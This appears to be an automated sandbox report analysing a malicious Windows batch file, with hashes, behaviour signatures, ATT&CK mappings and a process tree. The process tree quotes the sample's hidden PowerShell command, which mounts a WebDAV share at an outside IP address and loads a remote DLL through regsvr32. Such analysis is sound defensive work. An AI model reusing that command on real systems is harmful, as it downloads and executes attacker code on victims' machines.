9903d1e38f2df5a2a7ebf19b2ef8d334d0ee31753f4436174f3acdf7cc9ff8ed

Analysis

max time kernel
100s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:21

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General

Target

191472549213394915.bat
Size

2KB
MD5

50b7747162693f883b06d2b5c5c0ae9f
SHA1

b779d8073d46f93ce8506fac66e0eaaee9625854
SHA256

9903d1e38f2df5a2a7ebf19b2ef8d334d0ee31753f4436174f3acdf7cc9ff8ed
SHA512

6c8ee2eceab76c75c14e6cd6cf4e8193156f6c07679e80da3f6d5925fb9a2525f113901737fcd5677633be48df99938ab2f9a5193f1915890d56ab15fd119da3

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2944	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2856	wordpad.exe
2856	wordpad.exe
2856	wordpad.exe
2856	wordpad.exe
2856	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 2856	1768	cmd.exe	31
PID 1768 wrote to memory of 2856	1768	cmd.exe	31
PID 1768 wrote to memory of 2856	1768	cmd.exe	31
PID 1768 wrote to memory of 2944	1768	cmd.exe	32
PID 1768 wrote to memory of 2944	1768	cmd.exe	32
PID 1768 wrote to memory of 2944	1768	cmd.exe	32
PID 2944 wrote to memory of 2932	2944	powershell.exe	34
PID 2944 wrote to memory of 2932	2944	powershell.exe	34
PID 2944 wrote to memory of 2932	2944	powershell.exe	34
PID 2944 wrote to memory of 2164	2944	powershell.exe	35
PID 2944 wrote to memory of 2164	2944	powershell.exe	35
PID 2944 wrote to memory of 2164	2944	powershell.exe	35
PID 2944 wrote to memory of 2164	2944	powershell.exe	35
PID 2944 wrote to memory of 2164	2944	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\191472549213394915.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1835020184030.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2932
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1835020184030.dll
    3⤵
    PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2944-23-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2944-24-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download